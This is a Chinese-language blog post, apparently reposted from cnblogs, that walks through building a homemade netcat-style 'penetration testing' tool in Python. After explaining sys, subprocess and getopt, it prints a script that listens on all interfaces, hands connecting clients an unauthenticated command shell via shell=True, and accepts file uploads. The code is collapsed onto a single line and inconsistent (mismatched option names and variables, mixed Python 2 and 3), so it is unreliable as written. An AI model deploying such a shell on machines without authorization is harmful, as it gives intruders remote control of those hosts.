我的python渗透测试工具箱之自制netcat
此工具的目的是實現在目標主機上的文件傳輸,控制命令行的功能,主要邏輯依靠python的subprocess模塊、`sys`模塊和`getopt`模塊。
?
知識準備
?
studin和studut
studin和studout是用來獲取標準輸入輸出的,它們是sys模塊下的方法。
標準輸入輸出就是包括/n/t等特殊字符的輸出,可以用來作為拆分的條件。
在python中調用print時,事實上調用了sys.stdout.write(obj+'\n'),調用input時則是調用了sys.studin.readline().strip('\n')
?
?subprocess模塊
subprocess模塊主要是用來執行外部命令的模塊,
1,subprocess.call(),執行命令,并返回執行狀態,其中shell參數為False時,命令需要通過列表的方式傳入,當shell為True時,可直接傳入命令。
2,subprocess.check_call(),增加當返回值不為0時,直接拋出異常。。
3,在此腳本中,主要使用subprocess.check_output(),它會做兩件事:
· 檢查返回值,如果不為0則代表當前進程執行失敗。
· 返回標準輸出結果。
?
sys模塊
sys模塊是python和解釋器交互的模塊,較為容易理解,在這個腳本中我們主要用的是它的`sys.argv`。
sys.argv,它的作用是返回將執行腳本的路徑和命令參數整合到一個list中返回,list的第一項是當前腳本的路徑。
大家看到這可能會有疑問,sys.argv返回值的第一項確實是路徑,這里顯示文件名是因為我是在文件同級目錄下運行的。
?
getopt模塊
getopt模塊大家可能見到的比較少,在網上各式各樣的解釋也讓人眼花繚亂,這里說一下我的理解。
getopt模塊有兩個方法,這里主要介紹getopt.getopt()。它的作用其實兩個字就能說明:匹配。
getopt.getopt會返回匹配到的命令行參數和參數值組成的元組。
有三個參數:
1,命令行參數,我們可以通過sys.argv[1:]來獲取,把路徑元素跳過。
2,短參數的匹配規則。短參數就是 -h,-l,-v這種的,加上 `:`就代表":"左右兩邊的參數有值。
3,長參數的匹配規則,長參數就是-help,-version,-command這種,加上`=`就代表該參數有值。
有兩個返回值:
1,匹配到的命令行參數及其值? 組成的元組 構成的列表。
2,未匹配到的命令行參數。
示例代碼:
運行結果:
?
程序代碼及講解
import sys import getopt import socket import subprocess import threading#設置全局變量 listen = False command = False upload = False execute = "" host = "" upload_path = "" port = 0def help():'''這里就是一些注釋及使用方法說明,如果用中文怕不支持,英文我還不會:param:null:return: none'''print("knife tools")print("-l --listen ")print("-t --host ")print("-c --command ")print("-u --upload ")sys.exit(0) #退出命令#命令執行,通過suprocess.checkoutout def run_command(command):command = command.strip()try:output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)except:output = "Failed to execute command.\r\n"return outputdef client_handler(client_socket):'''通過不同參數的長度來決定處理什么事務:param client_socket:也就是服務端的我們習慣的conn :return: '''#定義全局變量global uploadglobal command#上傳文件功能if len(upload_path):file_buffer = ""while True:data = client_socket.recv(1024)if not data:breakelse:file_buffer += data#簡單的文件操作try:with open(upload_path, "wb") as f:f.write(file_buffer)client_socket.send("Successfully saved file to %s\r\n" % upload_path)except:client_socket.send("Failed to save file to %s\r\n" % upload_path)#執行命令if command:while True:#會夯住,客戶端會模擬命令行輸入client_socket.send("<command:#> ")cmd_buffer = ""while "\n" not in cmd_buffer:cmd_buffer += client_socket.recv(1024)#返回命令執行結果response = run_command(cmd_buffer)client_socket.send(response)def client_sender(buffer):client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:client.connect((host, port))if len(buffer):client.send(buffer)#接收數據并回傳,以字符串大的形式儲存到response中while True:recv_len = 1response = ""while recv_len:data = client.recv(4096)recv_len = len(data)response += dataif recv_len < 4096:breakprint(response)#夯住,繼續獲取命令行輸入并繼續傳輸buffer = input("")buffer += "\n"client.send(buffer)except:client.close()#通過socket創建服務端 def server_loop():global hostglobal portif not len(host):host = "0.0.0.0"server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server.bind((host, port))server.listen(5)#建立多線程處理while True:client_socket, addr = server.accept()client_thread = threading.Thread(target=client_handler, args=(client_socket,))client_thread.start()def main():'''主函數:param:null'''global listenglobal portglobal commandglobal upload_pathglobal host#判斷命令行參數,如果個數為零,那么就輸出錯誤信息并且退出if not len(sys.argv[1:]):help()try:opts,args = getopt.getopt(sys.argv[1:],"hl:t:p:cu",["help","listen","execute","host","port","command","upload"])except getopt.GetoptError as err:print(str(err)) #輸出錯誤信息 help()#通過if..else..來判斷執行什么動作for o, a in opts:if o in ("-h", "--help"):help()elif o in ("-l", "--listen"):listen = Trueelif o in ("-c", "--commandshell"):command = Trueelif o in ("-u", "--upload"):upload_destination = aelif o in ("-t", "--host"):host = aelif o in ("-p", "--port"):port = int(a)else:assert False, "Unhandled Option"if not listen and len(host) and port > 0:#獲取標準輸入buffer = sys.stdin.read()client_sender(buffer)#listen為True則創建監聽if listen:server_loop()main()?
轉載于:https://www.cnblogs.com/cuiyuanzhang/p/9442407.html
總結
以上是生活随笔為你收集整理的我的python渗透测试工具箱之自制netcat的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: keras 的使用例子
- 下一篇: WPF 4 单词拼写检查(SpellCh